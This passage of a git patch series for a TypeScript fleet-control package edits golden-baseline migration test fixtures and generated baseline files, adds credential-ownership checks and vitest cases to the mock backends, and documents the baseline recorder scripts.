`migrateFleet` stamps every write it performs from - * `options.clock`, so the recording lease refuses any put whose `updatedAt` is - * not the frozen instant. A mis-wired clock therefore fails the recorder and - * the golden test loudly rather than writing a plausible baseline: the success - * runner lets the violation propagate, and the stop runner inspects the - * violations BEFORE it reports the caught refusal, so a clock fault can never - * render as a plausible stop. - * - * WHAT IS DELIBERATELY ABSENT. Neither world holds a finalized-ordinary-plane - * external record, so the finalized-state provider is never resolved and the - * state-reconcile route is never entered: `describeFinalizedState`, - * `describeFinalizedBridgeTarget`, `assertFinalizedState`, - * `ensureFinalizedState`, `commitFinalizedOwnership`, - * `resolver:finalizedStateProviderFor:`, and the reconcile's - * `put:upload-authorized`/`put:uploaded` are vocabulary-only here. Their drain - * behavior stays pinned by `test/fleet.test.ts:3703`. - */ - +import type { AttestConvergedActiveRouteOptions } from '../../src/active-route.js'; import { migrateFleet } from '../../src/fleet.js'; import { canonicalDeploymentEgressPolicy, @@ -85,7 +15,6 @@ import type { ActiveRouteAttestation, ApplicationBindingTopology, D1Migration, - DatabaseExport, DatabaseReference, DeploymentEgressPolicy, DeploymentSecrets, @@ -109,21 +38,15 @@ import { externalReleaseScriptName } from '../../src/workers-for-platforms-backe const ENVIRONMENT = 'production'; -/** - * Frozen clock: the only time source `migrateFleet` reads (`options.clock`, - * src/fleet.ts:2018), so every `updatedAt` it writes is this instant. - */ const MIGRATION_NOW = Date.parse('2026-06-01T00:00:00.000Z'); const FROZEN_UPDATED_AT = new Date(MIGRATION_NOW).toISOString(); const MIGRATION_CLOCK = () => MIGRATION_NOW; -/** Every seeded record's pre-migration stamp, distinct from the frozen one. */ const ORIGIN_UPDATED_AT = '2026-05-01T00:00:00.000Z'; const MAINTENANCE_PUBLIC_KEY = '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}'; -/** 64-hex platform-target digests: `describeExternalPlatformTarget` validates their shape. */ const STATE_ARTIFACT_DIGEST = 'a'.repeat(64); const MOVED_STATE_ARTIFACT_DIGEST = 'd'.repeat(64); const EGRESS_ARTIFACT_DIGEST = 'b'.repeat(64); @@ -164,11 +87,6 @@ const D1_MIGRATIONS: readonly D1Migration[] = [ }, ]; -/** - * The op log's frozen vocabulary. Bare tokens name a call whose relative - * position identifies it against these single-pass worlds; the four keyed - * families carry the one field that distinguishes otherwise identical calls. - */ export type MigrationOpLogEntry = | 'withDeploymentLease' | 'get' @@ -209,12 +127,6 @@ function secretsForTenant(tenantTag: string): DeploymentSecrets { }; } -/** - * The token a put carries: the value of the field THIS put advances. `phase` - * wins where a put moves more than one (the admission put moves `phase` to - * `migrating` AND the external intent to `planned`); a put advancing neither - * a phase nor a subphase carries the record's current `phase`. - */ function putToken( previous: FleetRecord | undefined, next: FleetRecord, @@ -228,6 +140,7 @@ function putToken( ) { return migrationSubphase; } + // Distinct reconcile tokens expose an unexpected reconciliation path. const reconcileSubphase = next.backendSwitchIntent?.stateReconcileIntent?.subphase; if ( @@ -263,7 +176,7 @@ class RecordingFleetStore implements FleetStateStore { operation: (lease: FleetStateLease) => Promise, ): Promise { this.#ops.push('withDeploymentLease'); - const key = `${tenantTag}:${environment}`; + const key = deploymentKey({ tenantTag, environment }); return operation({ tenantTag, environment, @@ -275,11 +188,8 @@ class RecordingFleetStore implements FleetStateStore { throw new Error('unused'); }, put: async (record) => { - // Clock fence: `migrateFleet` stamps every write it performs from - // `options.clock`, so a put carrying any other instant means the - // injected clock stopped reaching a write site. Recording the message - // before throwing lets the stop runner see the fault even though the - // migration's own rejection is what the world would otherwise freeze. + // Recording the fault keeps the stop runner from accepting it as a + // migration refusal. if (record.updatedAt !== FROZEN_UPDATED_AT) { const message = `put payload updatedAt '${record.updatedAt}' for '${key}' does not match the frozen migration clock`; this.#fenceViolations.push(message); @@ -310,10 +220,10 @@ class RecordingFleetStore implements FleetStateStore { environment: string, ): Promise { this.#ops.push('get'); - return this.#records.get(`${tenantTag}:${environment}`); + return this.#records.get(deploymentKey({ tenantTag, environment })); } - async list(): Promise { + async list(): Promise { throw new Error('unused'); } @@ -326,10 +236,6 @@ class RecordingFleetStore implements FleetStateStore { } } -/** - * The non-external backend: no `immutableExternalArtifacts`, and none of the - * four feature-detected external members, so its records take the plain path. - */ class RecordingPlainBackend implements ProvisioningBackend { readonly kind: ProvisioningBackendKind = 'plain-worker'; protected readonly ops: MigrationOpLogEntry[]; @@ -348,11 +254,18 @@ class RecordingPlainBackend implements ProvisioningBackend { this.fenceViolations = fenceViolations; } - /** Refuses a credential that belongs to another record. */ - protected assertOwnCredential(spec: DeploymentSpec, secret: string): void { - const expected = secretsForTenant(spec.tenantTag).maintenanceAdmin; + protected assertOwnCredential( + spec: DeploymentSpec, + secret: string, + credential: 'maintenanceAdmin' | 'deploymentIdentity' = 'maintenanceAdmin', + ): void { + const expected = secretsForTenant(spec.tenantTag)[credential]; if (secret !== expected) { - const message = `maintenance credential for '${deploymentKey(spec)}' reached a call for another deployment`; + const label = + credential === 'maintenanceAdmin' + ? 'maintenance' + : 'deployment identity'; + const message = `${label} credential for '${deploymentKey(spec)}' reached a call for another deployment`; this.fenceViolations.push(message); throw new Error(message); } @@ -395,10 +308,12 @@ class RecordingPlainBackend implements ProvisioningBackend { migrations: readonly D1Migration[], ): Promise { const spec = this.specsByDatabaseId.get(database.id); - // Reference identity, never contents: the LAST per-version slice is - // content-equal to the zero-pending call's `spec.migrations`. + if (!spec) { + throw new Error(`no spec fixture for database '${database.id}'`); + } + // The final per-version slice can equal spec.migrations by content. this.ops.push( - migrations === spec?.migrations + migrations === spec.migrations ? 'applyMigrations:verify' : `applyMigrations:${migrations.length}`, ); @@ -407,13 +322,19 @@ class RecordingPlainBackend implements ProvisioningBackend { async deployWorker( spec: DeploymentSpec, database: DatabaseReference, - _secrets: DeploymentSecrets, + secrets: DeploymentSecrets, _platformResources: ExternalPlatformResources | undefined, _fence: ExternalMutationFence, _expectedArtifactVersion: string | undefined, application?: ApplicationBindingTopology, ): Promise> { this.ops.push('deployWorker'); + this.assertOwnCredential( + spec, + secrets.deploymentIdentity, + 'deploymentIdentity', + ); + this.assertOwnCredential(spec, secrets.maintenanceAdmin); const artifactVersion = `v${spec.schemaVersion}`; this.live.set( spec.tenantTag, @@ -516,7 +437,7 @@ class RecordingPlainBackend implements ProvisioningBackend { throw new Error('unused'); } - async exportDatabase(): Promise { + async exportDatabase(): Promise { throw new Error('unused'); } @@ -525,20 +446,31 @@ class RecordingPlainBackend implements ProvisioningBackend { } } -/** - * The immutable-external backend. All four feature-detected members are REAL, - * because a present-but-throwing member is observably different from an absent - * one everywhere `migrateFleet` feature-detects. - */ +// Feature detection distinguishes absent capabilities from methods that throw. class RecordingImmutableBackend extends RecordingPlainBackend { override readonly kind: ProvisioningBackendKind = 'workers-for-platforms'; readonly immutableExternalArtifacts = true as const; - readonly retiredScriptNames: string[] = []; readonly releases = new Map(); - /** The release each deployment's own host route names, written by promotion. */ readonly routedScriptNames = new Map(); - stateArtifactDigest = STATE_ARTIFACT_DIGEST; - policyHosts: readonly string[] = ['api.example.test']; + readonly stateArtifactDigest: string; + readonly policyHosts: readonly string[]; + + constructor( + ops: MigrationOpLogEntry[], + specsByDatabaseId: ReadonlyMap, + fenceViolations: string[], + profile: Readonly<{ + stateArtifactDigest: string; + policyHosts: readonly string[]; + }> = { + stateArtifactDigest: STATE_ARTIFACT_DIGEST, + policyHosts: ['api.example.test'], + }, + ) { + super(ops, specsByDatabaseId, fenceViolations); + this.stateArtifactDigest = profile.stateArtifactDigest; + this.policyHosts = [...profile.policyHosts]; + } releaseScriptName(spec: DeploymentSpec): string { this.ops.push('releaseScriptName'); @@ -552,7 +484,6 @@ class RecordingImmutableBackend extends RecordingPlainBackend { return this.platformTargetFor(spec); } - /** The pure derivation behind `describeExternalPlatformTarget`, unrecorded. */ platformTargetFor(spec: DeploymentSpec): ExternalPlatformTargetDescription { return { maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY, @@ -606,7 +537,7 @@ class RecordingImmutableBackend extends RecordingPlainBackend { override async deployWorker( spec: DeploymentSpec, database: DatabaseReference, - _secrets: DeploymentSecrets, + secrets: DeploymentSecrets, _platformResources: ExternalPlatformResources | undefined, _fence: ExternalMutationFence, _expectedArtifactVersion: string | undefined, @@ -619,6 +550,12 @@ class RecordingImmutableBackend extends RecordingPlainBackend { }> > { this.ops.push('deployWorker'); + this.assertOwnCredential( + spec, + secrets.deploymentIdentity, + 'deploymentIdentity', + ); + this.assertOwnCredential(spec, secrets.maintenanceAdmin); const physicalScriptName = externalReleaseScriptName(spec); const existing = this.releases.get(physicalScriptName); if (!existing) { @@ -717,7 +654,6 @@ class RecordingImmutableBackend extends RecordingPlainBackend { release: ExternalReleaseSnapshot, ): Promise { this.ops.push('deleteRetainedRelease'); - this.retiredScriptNames.push(release.physicalScriptName); this.releases.delete(release.physicalScriptName); } } @@ -808,7 +744,6 @@ function externalRelease( }; } -/** The live release an immutable backend already serves for `spec`. */ function seededRelease( spec: DeploymentSpec, record: FleetRecord, @@ -840,7 +775,6 @@ interface WorldRun { readonly fenceViolations: string[]; } -/** Drives `migrateFleet` over one assembled world through recording resolvers. */ async function runWorld(world: WorldRun): Promise { const store = new RecordingFleetStore( world.records, @@ -876,38 +810,18 @@ async function runWorld(world: WorldRun): Promise { return settlementHost; }, clock: MIGRATION_CLOCK, - // The body spreads `routeAttestation` AFTER its own `clock` - // (`fleet.ts:2035-2038`), so this object must never carry a `clock` key: one - // here would silently override the frozen clock for the attestation, and the - // put fence could not notice, because that clock is read only for the - // convergence budget and never stamps an `updatedAt`. The no-op sleep keeps - // a frozen clock from turning that budget's break condition - // (`active-route.ts:289-292`) into real waiting. Every world converges on - // the first attestation attempt, so no delay is ever scheduled. - routeAttestation: { sleep: async () => {} }, + routeAttestation: { + sleep: async () => {}, + } satisfies Omit, }); } -// --------------------------------------------------------------------------- -// SUCCESS WORLD -// --------------------------------------------------------------------------- - -/** - * Assembles the success world. Four records, visited in the scheduler's frozen - * `localeCompare` order over `:` because no canary tag - * is declared: `extfull`, `plainmulti`, `platformonly`, `readysteady`. - */ function successWorld(): WorldRun { const ops: MigrationOpLogEntry[] = []; const fenceViolations: string[] = []; const specs = new Map(); const backends = new Map(); const specsByDatabaseId = new Map(); - // Two immutable-external backends, because a deployment's trusted platform - // profile is a property of the backend that describes it: `steady` still - // describes the profile its records already carry, while `moved` describes a - // new state artifact and a narrower egress policy — which is exactly what - // makes `platformonly` a platform-only change and nothing else. const steady = new RecordingImmutableBackend( ops, specsByDatabaseId, @@ -917,19 +831,17 @@ function successWorld(): WorldRun { ops, specsByDatabaseId, fenceViolations, + { + stateArtifactDigest: MOVED_STATE_ARTIFACT_DIGEST, + policyHosts: ['narrow.example.test'], + }, ); - moved.stateArtifactDigest = MOVED_STATE_ARTIFACT_DIGEST; - moved.policyHosts = ['narrow.example.test']; const plain = new RecordingPlainBackend( ops, specsByDatabaseId, fenceViolations, ); - // -- extfull: an immutable-external FULL migration whose D1 ledger is already - // at the target schema, so its single `applyMigrations` call is the - // zero-pending ledger VERIFICATION. Its entry `rollbackRelease` becomes the - // committed record's `retiringRelease`, which is what drives `retire-post`. const extfullOrigin = baseSpec('extfull'); const extfullSpec = baseSpec('extfull', { modules: [{ name: 'worker.js', content: 'export default { release: 2 }' }], @@ -955,14 +867,8 @@ function successWorld(): WorldRun { applicationResources: [], }); - // -- plainmulti: the NON-EXTERNAL record. Its backend declares no - // `immutableExternalArtifacts`, so `immutableExternal` is false and the - // migration takes the plain path; its platform-authored spec declares three - // D1 versions against a record at version 1, so the per-version loop runs - // twice and emits `applyMigrations:2` then `applyMigrations:3`. const plainmultiOrigin = baseSpec('plainmulti', { authoredBy: 'platform', - egressProxyService: undefined, }); const plainmultiSpec = baseSpec('plainmulti', { authoredBy: 'platform', @@ -990,11 +896,7 @@ function successWorld(): WorldRun { }), ); - // -- platformonly: the specification is unchanged, but the backend's trusted - // platform profile has moved (a new state artifact digest and a narrower - // egress policy), so `platformOnlyChange` selects the platform-only path. - // Its active release lags the record's schema version, which is what makes - // `effectiveAppliedPlatformTarget` pin the prior D1 columns. + // Platform-only changes preserve the applied D1 history. const platformonlySpec = baseSpec('platformonly'); const platformonlyActive = externalRelease(platformonlySpec); const platformonlyPriorTarget: ExternalPlatformTargetDescription = { @@ -1029,13 +931,6 @@ function successWorld(): WorldRun { applicationResources: [], }); - // -- readysteady: an unchanged deployment reconciled again. It carries a - // `retiringRelease`, so the pre-dispatch retirement runs; its live - // maintenance is unarmed, so the ready path's re-arm runs; and its - // `settledSettlementKey` already names the release it serves, so - // `skipWhenAlreadySettled` SKIPS — which is what pins that flag, since a - // steady-state reconcile that settled every pass would bill a fleet for - // standing still. const readysteadySpec = baseSpec('readysteady'); const readysteadyActive = externalRelease(readysteadySpec); const readysteadyRollback = externalRelease( @@ -1109,10 +1004,6 @@ function successWorld(): WorldRun { return { records, specs, backends, ops, fenceViolations }; } -/** - * Runs the success world and returns the records `migrateFleet` produced - * beside the op log it made getting there. - */ export async function runFleetMigrationSuccessBaseline(): Promise<{ readonly result: readonly FleetRecord[]; readonly ops: readonly MigrationOpLogEntry[]; @@ -1125,19 +1016,9 @@ export async function runFleetMigrationSuccessBaseline(): Promise<{ return { result, ops: world.ops }; } -// --------------------------------------------------------------------------- -// STOP WORLD -// --------------------------------------------------------------------------- - -/** The refusal the stop world's second record is guaranteed to produce. */ const STOP_REFUSAL = "deployment 'bravo:production' has active backend switch 'candidate-deployed'"; -/** - * Assembles the stop world. Three records whose keys sort so that the record - * that COMPLETES is visited first, the record that is REFUSED second, and the - * record that stays UNTOUCHED third. - */ function stopWorld(): WorldRun { const ops: MigrationOpLogEntry[] = []; const fenceViolations: string[] = []; @@ -1150,9 +1031,6 @@ function stopWorld(): WorldRun { fenceViolations, ); - // -- alpha completes: a plain-path full migration over one pending D1 - // version, so the frozen log proves the drain really did the first record's - // whole body before it reached the refusal. const alphaOrigin = baseSpec('alpha', { authoredBy: 'platform' }); const alphaSpec = baseSpec('alpha', { authoredBy: 'platform', @@ -1180,13 +1058,8 @@ function stopWorld(): WorldRun { }), ); - // -- bravo is refused. Its backend switch is mid-flight, so - // `assertBackendSwitchInactive` throws in the admit preamble — AFTER the - // lease and the leased reread, which is why the frozen log carries exactly - // that two-token prefix for this record and nothing more. The subphase is - // deliberately one of the literals the external-migration namespace also - // uses: the body emits no `backendSwitchIntent.subphase` token at all, so - // the shared literal cannot collide in the op log. + // A backend-switch refusal must stay distinguishable from migration progress + // even when their subphase literals match. const bravoSpec = baseSpec('bravo'); const bravo = baseRecord('bravo', 'plain-worker', { desiredSpecDigest: deploymentSpecDigest(bravoSpec), @@ -1230,8 +1103,6 @@ function stopWorld(): WorldRun { }, }); - // -- charlie is never visited: the refusal above ends the drain, so this - // record contributes NO op at all. That absence is the observable stop. const charlieSpec = baseSpec('charlie', { authoredBy: 'platform' }); const charlie = baseRecord('charlie', 'plain-worker', { desiredSpecDigest: deploymentSpecDigest(charlieSpec), @@ -1251,16 +1122,6 @@ function stopWorld(): WorldRun { return { records, specs, backends, ops, fenceViolations }; } -/** - * Runs the stop world and returns the refusal `migrateFleet` rejected with - * beside the op log it made getting there. - * - * The clock fence is checked BEFORE the caught error is reported, so a - * mis-wired clock surfaces as a fence failure rather than masquerading as a - * plausible stop; and the caught value must be exactly the chosen refusal, so - * a collaborator fault or a different validation refusal can never be frozen - * in its place. - */ export async function runFleetMigrationStopBaseline(): Promise<{ readonly error: string; readonly ops: readonly MigrationOpLogEntry[]; diff --git a/packages/fleet-control/test/fleet-migration-advance.test.ts b/packages/fleet-control/test/fleet-migration-advance.test.ts index a8fd68be..e3aea4e6 100644 --- a/packages/fleet-control/test/fleet-migration-advance.test.ts +++ b/packages/fleet-control/test/fleet-migration-advance.test.ts @@ -1116,16 +1116,7 @@ function finalizedWorld(path: 'ready' | 'platform-only' | 'full' = 'full') { return provider; }, }); - const start = (id = uuid()) => - advanceFleetMigration( - world.options({ - kind: 'start', - operationId: id, - records: [world.current()], - canaryTenantTags: [], - }), - ); - return { world, provider, target, plan, start }; + return { world, provider, target }; } async function continueWorld( diff --git a/packages/fleet-control/test/fleet-migration-golden.test.ts b/packages/fleet-control/test/fleet-migration-golden.test.ts index dadeb4a7..125d3ce6 100644 --- a/packages/fleet-control/test/fleet-migration-golden.test.ts +++ b/packages/fleet-control/test/fleet-migration-golden.test.ts @@ -1,6 +1,8 @@ // SPDX-License-Identifier: Apache-2.0 -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; +import * as fleet from '../src/fleet.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; import { MIGRATION_STOP_BASELINE_ERROR, MIGRATION_STOP_BASELINE_OPS, @@ -26,4 +28,104 @@ describe('fleet migration golden baselines', () => { expect(error).toStrictEqual(MIGRATION_STOP_BASELINE_ERROR); expect(ops).toStrictEqual(MIGRATION_STOP_BASELINE_OPS); }); + + it('refuses an unknown database before recording an apply token', async () => { + const migrate = vi + .spyOn(fleet, 'migrateFleet') + .mockImplementationOnce(async (options) => { + const record = options.records.find( + ({ tenantTag }) => tenantTag === 'plainmulti', + ); + if (!record) throw new Error('missing plainmulti fixture'); + const backend = options.backendFor(record); + const spec = options.specFor(record); + await expect + .soft( + backend.applyMigrations( + { id: 'db-unknown', name: 'database-unknown', created: false }, + spec.migrations, + { mutationLeaseTtlMs: 900_000, assertOwned: async () => {} }, + ), + ) + .rejects.toThrowError( + new Error("no spec fixture for database 'db-unknown'"), + ); + return options.records; + }); + + try { + const { ops } = await runFleetMigrationSuccessBaseline(); + expect( + ops.filter((op) => op.startsWith('applyMigrations:')), + ).toStrictEqual([]); + } finally { + migrate.mockRestore(); + } + }); + + it.each([ + ['extfull', 'deploymentIdentity', 'deployment identity'], + ['extfull', 'maintenanceAdmin', 'maintenance'], + ['plainmulti', 'deploymentIdentity', 'deployment identity'], + ['plainmulti', 'maintenanceAdmin', 'maintenance'], + ] as const)('refuses %s upload with a foreign %s before changing live state', async (tenantTag, credential, label) => { + const message = `${label} credential for '${tenantTag}:production' reached a call for another deployment`; + const migrate = vi + .spyOn(fleet, 'migrateFleet') + .mockImplementationOnce(async (options) => { + const record = options.records.find( + (record) => record.tenantTag === tenantTag, + ); + const foreignRecord = options.records.find( + (record) => record.tenantTag !== tenantTag, + ); + if (!record || !foreignRecord) + throw new Error('missing credential fixtures'); + const backend = options.backendFor(record); + const spec = options.specFor(record); + const secrets = options.secretsFor(record); + const foreignSecrets = options.secretsFor(foreignRecord); + const before = structuredClone( + await backend.inspect(spec, secrets.maintenanceAdmin, undefined), + ); + if (tenantTag === 'extfull') { + expect(before).toBeUndefined(); + } else { + expect(before).toBeDefined(); + expect(before?.desiredSpecDigest).not.toBe( + deploymentSpecDigest(spec), + ); + } + + await expect + .soft( + backend.deployWorker( + spec, + { + id: record.databaseId, + name: record.databaseName, + created: false, + }, + { ...secrets, [credential]: foreignSecrets[credential] }, + record.platformResources, + { mutationLeaseTtlMs: 900_000, assertOwned: async () => {} }, + undefined, + record.applicationBindings, + ), + ) + .rejects.toThrowError(new Error(message)); + expect( + await backend.inspect(spec, secrets.maintenanceAdmin, undefined), + ).toStrictEqual(before); + return options.records; + }); + + try { + await expect(runFleetMigrationSuccessBaseline()).rejects.toThrowError( + new Error(`fence violated: ${message}`), + ); + } finally { + migrate.mockRestore(); + } + }); }); From ef962d803cdffb382f41b7682b4425fc5b6cd550 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Tue, 8 Sep 2026 22:08:24 +0400 Subject: [PATCH 090/169] fix(tooling): make baseline recording explicit and preserve literal fidelity --- .../test/fixtures/fleet-audit-baseline.ts | 17 +- .../fleet-inventory-drain-baseline.ts | 11 +- .../test/fixtures/fleet-migration-baseline.ts | 32 +- scripts/CLAUDE.md | 80 +- scripts/baseline-recorder.mjs | 311 +++-- scripts/baseline-recorder.test.mjs | 1067 +++++++++++++++++ scripts/record-audit-baseline.mjs | 39 +- scripts/record-drain-baseline.mjs | 32 +- scripts/record-migration-baseline.mjs | 59 +- 9 files changed, 1327 insertions(+), 321 deletions(-) create mode 100644 scripts/baseline-recorder.test.mjs diff --git a/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts index 8d2f0893..5a11410e 100644 --- a/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts +++ b/packages/fleet-control/test/fixtures/fleet-audit-baseline.ts @@ -1,20 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 /** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by `scripts/record-audit-baseline.mjs` from the hand-authored world - * in `fleet-audit-world.ts`. It freezes the observable behavior of - * `auditFleetDrift()` (src/fleet.ts) before it is decomposed into bounded - * stages, so the decomposition can be proven byte-equivalent. Verify with - * `node scripts/record-audit-baseline.mjs --check`; any required change to - * these literals is a compatibility break, not a fixture update. + * GENERATED FILE. DO NOT EDIT BY HAND. */ import type { DriftFinding } from '../../src/fleet.js'; import type { AuditOpLogEntry } from './fleet-audit-world.js'; -/** Every finding `auditFleetDrift()` returned, in order. */ export const AUDIT_BASELINE_FINDINGS = [ { tenantTag: 'seed-provider', @@ -327,13 +319,6 @@ export const AUDIT_BASELINE_FINDINGS = [ }, ] as const satisfies readonly DriftFinding[]; -/** - * Every `withDeploymentLease`/`get`/`put`/`inspect`/`ensureMaintenance` - * call, every `resolver:` invocation, and every `lease.assertOwned()` - * call `auditFleetDrift()` made, in order. `list`/`renew`/`delete` are in - * `AuditOpLogEntry`'s vocabulary but never appear here (defensive, unused by - * this pre-decomposition world). - */ export const AUDIT_BASELINE_OPS = [ 'resolver:backendFor', 'resolver:specFor', diff --git a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts index 60a66479..067df54e 100644 --- a/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts +++ b/packages/fleet-control/test/fixtures/fleet-inventory-drain-baseline.ts @@ -1,20 +1,12 @@ // SPDX-License-Identifier: Apache-2.0 /** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by `scripts/record-drain-baseline.mjs` from the hand-authored world - * in `fleet-inventory-drain-world.ts`. It freezes the observable behavior of - * `CloudflareProvisioningClient.collectFleetInventory()` before its internals - * are rewritten, so the rewrite can be proven byte-equivalent. Verify with - * `node scripts/record-drain-baseline.mjs --check`; any required change to - * these literals is a compatibility break, not a fixture update. + * GENERATED FILE. DO NOT EDIT BY HAND. */ import type { FleetResourceInventory } from '../../src/types.js'; import type { DrainRequestRecord } from './fleet-inventory-drain-world.js'; -/** Every provider request the drain issued, in order. */ export const DRAIN_BASELINE_REQUESTS = [ { method: 'GET', @@ -286,7 +278,6 @@ export const DRAIN_BASELINE_REQUESTS = [ }, ] as const satisfies readonly DrainRequestRecord[]; -/** The exact inventory the drain returned. */ export const DRAIN_BASELINE_INVENTORY = { findings: [ { diff --git a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts index 7d279d9e..b26899fe 100644 --- a/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts +++ b/packages/fleet-control/test/fixtures/fleet-migration-baseline.ts @@ -1,21 +1,16 @@ // SPDX-License-Identifier: Apache-2.0 /** - * GENERATED FILE — DO NOT EDIT BY HAND. - * - * Written by `scripts/record-migration-baseline.mjs` from the hand-authored - * worlds in `fleet-migration-worlds.ts`. It freezes the observable behavior of - * `migrateFleet()` (src/fleet.ts) before it is decomposed into a bounded - * frozen-plan executor, so the decomposition can be proven byte-equivalent. - * Verify with `node scripts/record-migration-baseline.mjs --check`; any - * required change to these literals is a compatibility break, not a fixture - * update. + * GENERATED FILE. DO NOT EDIT BY HAND. */ import type { FleetRecord } from '../../src/types.js'; import type { MigrationOpLogEntry } from './fleet-migration-worlds.js'; -/** Every record `migrateFleet()` returned for the success world, in order. */ +/** + * An absent `durableObjectTag` key differs from a present key whose value + * is `undefined`. + */ export const MIGRATION_SUCCESS_BASELINE_RESULT = [ { tenantTag: 'extfull', @@ -321,13 +316,8 @@ export const MIGRATION_SUCCESS_BASELINE_RESULT = [ ] as const satisfies readonly FleetRecord[]; /** - * Every collaborator call `migrateFleet()` made for the success world, in - * order: the store's `withDeploymentLease`/`get`/`put:` - * and `lease.assertOwned()`, every `resolver::` invocation, every - * backend call, and every settlement. The finalized-state provider's six - * tokens and the state reconcile's `put:upload-authorized`/`put:uploaded` are - * in `MigrationOpLogEntry`'s vocabulary but never appear here: no world holds - * a finalized-ordinary-plane record. + * `applyMigrations:verify` depends on the spec array's reference identity; + * a per-version slice can contain the same migrations. */ export const MIGRATION_SUCCESS_BASELINE_OPS = [ 'withDeploymentLease', @@ -454,17 +444,9 @@ export const MIGRATION_SUCCESS_BASELINE_OPS = [ 'attestActiveRoute', ] as const satisfies readonly MigrationOpLogEntry[]; -/** The exact refusal `migrateFleet()` rejected the stop world with. */ export const MIGRATION_STOP_BASELINE_ERROR = "deployment 'bravo:production' has active backend switch 'candidate-deployed'" as const satisfies string; -/** - * Every collaborator call `migrateFleet()` made for the stop world before it - * rejected, in order. First-error stop parity is the SHAPE of this log: the - * first record's whole body, then the refused record's `withDeploymentLease` - * and `get` — the two calls its refusal fires after — and then nothing, because - * the drain never reaches the third record. - */ export const MIGRATION_STOP_BASELINE_OPS = [ 'withDeploymentLease', 'get', diff --git a/scripts/CLAUDE.md b/scripts/CLAUDE.md index 4f601216..f1583290 100644 --- a/scripts/CLAUDE.md +++ b/scripts/CLAUDE.md @@ -19,57 +19,33 @@ Repository documentation, architecture, and publication checks. Markdown syntax satisfy fleet control's own validators. Lives here because `.dependency-cruiser.cjs` forbids anything under `packages/` from importing fleet control. -- `baseline-recorder.mjs` — the write/`--check` machinery the three - golden-baseline recorders below share: argument parsing, the type-transform - re-execution, the `.js`-to-`.ts` resolution hook, repository-root path - resolution, rendering of the generated literals, the structural comparison, - and the run loop. `runBaselineRecorder(config)` takes a recorder's whole - domain — its world module and the one file it writes, both as - repository-relative strings, how to run the world, the generated file's - header, imports, export names, JSDoc and `satisfies` types, its summary line, - and the noun its `--check` messages read as — so each recorder below is domain - config and nothing else. Each configured path is BOTH what gets resolved and - what gets printed, so no message can name a file the run did not touch, and - the recorder's own path in the usage line and the re-recording hint is derived - from its `import.meta.url` rather than restated. Machinery, not a gate: the - gate is each recorder's in-suite title. -- `record-drain-baseline.mjs` — records fleet control's `collectFleetInventory` - golden baseline from the hand-authored provider world in - `packages/fleet-control/test/fixtures/fleet-inventory-drain-world.ts` and - writes only `…/fixtures/fleet-inventory-drain-baseline.ts`, formatting it with - the repository's Biome. `--check` re-derives both values from the unchanged - world, compares them structurally against the committed module's exports, - prints every structural difference, and exits non-zero without writing. Domain - config over `baseline-recorder.mjs`. This script is deliberately NOT part of - CI: the in-suite equivalence title in - `packages/fleet-control/test/cloudflare-client.test.ts` is the automatic - behavioral gate, and `--check` is the re-recording aid an author runs by hand. -- `record-audit-baseline.mjs` — records fleet control's `auditFleetDrift` - golden baseline (findings AND the store/backend/resolver op log) from the - hand-authored world in - `packages/fleet-control/test/fixtures/fleet-audit-world.ts` and writes only - `…/fixtures/fleet-audit-baseline.ts`, formatting it with the repository's - Biome. `--check` re-derives both values from the unchanged world, compares - them structurally against the committed module's exports, prints every - structural difference, and exits non-zero without writing. Domain config over - `baseline-recorder.mjs`. This script is deliberately NOT part of CI: the - in-suite equivalence title in - `packages/fleet-control/test/fleet-audit-golden.test.ts` is the automatic - behavioral gate, and `--check` is the re-recording aid an author runs by hand. -- `record-migration-baseline.mjs` — records fleet control's `migrateFleet` - golden baselines from the two hand-authored worlds in - `packages/fleet-control/test/fixtures/fleet-migration-worlds.ts` and writes - only `…/fixtures/fleet-migration-baseline.ts`, formatting it with the - repository's Biome: the records the success world's drain returns and its op - log, and the refusal the stop world's drain rejects with beside the op log - that proves first-error stop parity. `--check` re-derives all four values from - the unchanged worlds, compares them structurally against the committed - module's exports, prints every structural difference, and exits non-zero - without writing. Domain config over `baseline-recorder.mjs`. This script is - deliberately NOT part of CI: the in-suite equivalence titles in - `packages/fleet-control/test/fleet-migration-golden.test.ts` are the automatic - behavioral gate, and `--check` is the re-recording aid an author runs by hand. -- `workerd-server-lifecycle.mjs` — the one `wrangler dev` start/stop protocol - shared by the FlowSafe workerd harnesses and the conformance harness. +- [`baseline-recorder.mjs`](baseline-recorder.mjs): recorder configuration and supported literal values are documented on `runBaselineRecorder`. +- [`baseline-recorder.test.mjs`](baseline-recorder.test.mjs): run with `node --test scripts/baseline-recorder.test.mjs`. +- [`record-drain-baseline.mjs`](record-drain-baseline.mjs): inventory recorder. Golden assertions live in [`cloudflare-client.test.ts`](../packages/fleet-control/test/cloudflare-client.test.ts). +- [`record-audit-baseline.mjs`](record-audit-baseline.mjs): audit recorder. Golden assertions live in [`fleet-audit-golden.test.ts`](../packages/fleet-control/test/fleet-audit-golden.test.ts). +- [`record-migration-baseline.mjs`](record-migration-baseline.mjs): migration recorder. Golden assertions live in [`fleet-migration-golden.test.ts`](../packages/fleet-control/test/fleet-migration-golden.test.ts). +- [`workerd-server-lifecycle.mjs`](workerd-server-lifecycle.mjs) - `workerd-server-lifecycle.test.mjs` — its vitest suite, run through the root `vitest.workerd-lifecycle.config.ts` project. + +## Record or compare a baseline + +Run a recorder manually with an explicit mode. Use `--check` to compare derived values without writing, or `--write` to replace the configured baseline and format it with 